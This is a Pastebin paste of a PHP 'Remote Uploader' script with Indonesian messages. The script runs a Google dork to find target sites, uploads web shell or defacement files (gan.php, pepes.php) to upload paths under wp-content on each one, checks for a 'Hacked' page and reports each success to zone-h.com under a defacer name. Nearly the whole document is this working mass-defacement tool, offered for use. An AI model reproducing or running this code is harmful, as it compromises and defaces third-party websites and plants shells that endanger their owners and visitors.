Advertisement
ken7

Remote Uploader

Aug 7th, 2015
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.41 KB | None | 0 0
  1. <?php
  2. class auto{
  3.     private $url;
  4.     private $dork;
  5.     private $log=null;
  6.     function __construct($file=null){
  7.         echo "/*simple scanner dan uploader*/\n\n";
  8.         echo "[+]Masukkan Dork: ";
  9.         $fp = fopen("php://stdin", "rb");
  10.         $dork = fgets($fp);
  11.         $dork = str_replace(array("\n", "\r", "\r\n"), "", $dork);
  12.         echo "[+]Masukkan jumlah situs yg discan: ";
  13.         $total = fgets($fp);
  14.         $total = str_replace(array("\n", "\r", "\r\n"), "", $total);
  15.         fclose($fp);
  16.         $this->dork = $dork;
  17.         $this->total = $total;
  18.         $this->log = $file;
  19.         $this->scan();
  20.     }
  21.     function match($start, $end, $var){
  22.         return preg_match_all("{".preg_quote($start).'(.*?)'.preg_quote($end)."}is", $var, $m) ? $m[1] : null;
  23.     }
  24.     function curl($dork=null, $x, $url=null){
  25.         $ch = curl_init();
  26.         if($dork != null && is_numeric($x)){
  27.             curl_setopt($ch, CURLOPT_URL, "http://www.google.com/custom?q=".urlencode($dork)."&btnG=Search&start=".urlencode($x));
  28.         }elseif($url != null && $x==null){
  29.             curl_setopt($ch, CURLOPT_URL, $url);
  30.         }
  31.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  32.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  33.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  34.         curl_setopt($ch, CURLOPT_AUTOREFERER, true );
  35.         curl_setopt($ch, CURLOPT_FAILONERROR, true);
  36.         $exec = curl_exec($ch);
  37.         curl_close($ch);
  38.         return $exec;
  39.     }
  40.     function save($url){
  41.         if($this->log != null){
  42.             $fp = @fopen($this->log, "a") or die("cant open file");
  43.             fwrite($fp, $url);
  44.             fclose($fp);
  45.         }else return false;
  46.     }
  47.     function parse($urls){
  48.         for($a=0; $a<count($urls); $a++){
  49.             $dev = parse_url($urls[$a]);
  50.             @$scheme[] = $dev['scheme'];
  51.             @$host[] = $dev['host'];
  52.         }
  53.         $unik = array_unique($host);
  54.         foreach($unik as $key=>$url){
  55.             $urls_[] = $scheme[$key]."://".$url;
  56.         }
  57.         return $urls_;
  58.     }
  59.     function waktu($start){
  60.         $end = time() - $start;
  61.         $detik = round($end);
  62.         echo "\n~selesai dalam {$detik} detik\n";
  63.     }
  64.     function scan(){
  65.         $start=0;
  66.         $total=0;
  67.         $mulai = time();
  68.         do{
  69.             $i=0;
  70.             $data = $this->curl($this->dork, $start);
  71.             $urls = $this->match('<a class="l" href="', '" onmousedown="', $data);
  72.             if($urls==null){
  73.                 echo "~hasil tidak ada\n";
  74.                 $this->waktu($mulai);
  75.                 exit;
  76.             }
  77.             $urls_ = $this->parse($urls);
  78.             $count = count($urls_);
  79.             if($count==0){
  80.                 echo "hasil tidak ada atau ada halangan captcha :p\n~keluar";
  81.                 $this->waktu($mulai);
  82.                 exit;
  83.             }
  84.            
  85.             do{
  86.                 $urlq = $urls_[$i];
  87.                 $scan = $this->curl(null, null, $url_);
  88.                 echo $urlq;
  89.                 echo "\n";
  90.                 echo "-> Wait...";
  91.                
  92.                                     $uploadfile="gan.php";
  93.                         $ch = curl_init("$urlq/wp-content/uploads/products_img/gan.php");
  94.                         curl_setopt($ch, CURLOPT_POST, true);
  95.                         curl_setopt($ch, CURLOPT_POSTFIELDS,
  96.                         array('file3'=>"@$uploadfile"));
  97.                         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  98.                         curl_setopt($ch, CURLOPT_COOKIEFILE, "coker_log");
  99.                         $postResult = curl_exec($ch);
  100.                         curl_close($ch);
  101.                    
  102.                     $uploadfile="gan.php";
  103.                         $ch = curl_init("$urlq/wp-content/themes/k.php");
  104.                         curl_setopt($ch, CURLOPT_POST, true);
  105.                         curl_setopt($ch, CURLOPT_POSTFIELDS,
  106.                         array('file3'=>"@$uploadfile"));
  107.                         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  108.                         curl_setopt($ch, CURLOPT_COOKIEFILE, "coker_log");
  109.                         $postResult = curl_exec($ch);
  110.                         curl_close($ch);
  111.                        
  112.                         $uploadfile="pepes.php";
  113.                         $ch = curl_init("$urlq/wp-content/k.php");
  114.                         curl_setopt($ch, CURLOPT_POST, true);
  115.                         curl_setopt($ch, CURLOPT_POSTFIELDS,
  116.                         array('file3'=>"@$uploadfile"));
  117.                         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  118.                         curl_setopt($ch, CURLOPT_COOKIEFILE, "coker_log");
  119.                         $postResult = curl_exec($ch);
  120.                         curl_close($ch);
  121.                        
  122.                        
  123.                    
  124.                    
  125.            
  126.                    
  127.                        
  128.                     $admin1 = $this->curl(null, null, $urlq."/k.php");
  129.                     if(preg_match('#Hacked#is', $admin1)){
  130.                     echo "\n";
  131.                     echo "Deface: ";
  132.                     echo $urlq."/k.php";
  133.                     echo "\n";
  134.                     echo "Zone-h: ";
  135.                    
  136.                         $zh = $urlq."/k.php";
  137.                     $ch8 = curl_init ("http://www.zone-h.com/notify/single");
  138.                         curl_setopt ($ch8, CURLOPT_RETURNTRANSFER, 1);
  139.                         curl_setopt ($ch8, CURLOPT_POST, 1);
  140.                         curl_setopt ($ch8, CURLOPT_POSTFIELDS, "defacer=ID-IM&domain1=$zh&hackmode=1&reason=1");  // here put ur name on zone-h
  141.                        
  142.                         if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch8))){
  143.                                 echo  " Ok  "."\n\n";
  144.                         }else{
  145.                         echo " No"."\n\n"; }
  146.                             curl_close ($ch8);
  147.                     }
  148.                     else {
  149.                     echo "Site Tidak Terdeface";
  150.                     echo "\n";
  151.                     }
  152.                
  153.                        
  154.                    
  155.                
  156.                 $total++;
  157.                 $i++;
  158.             }while($i<$count && $total<$this->total);
  159.             $start=$start+10;
  160.         }while($total<$this->total);
  161.         $this->waktu($mulai);
  162.        
  163.     }
  164. }
  165.  
  166.  
  167. $gay = new auto("Vuln_Shell_ngkjelas2.txt");
  168. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement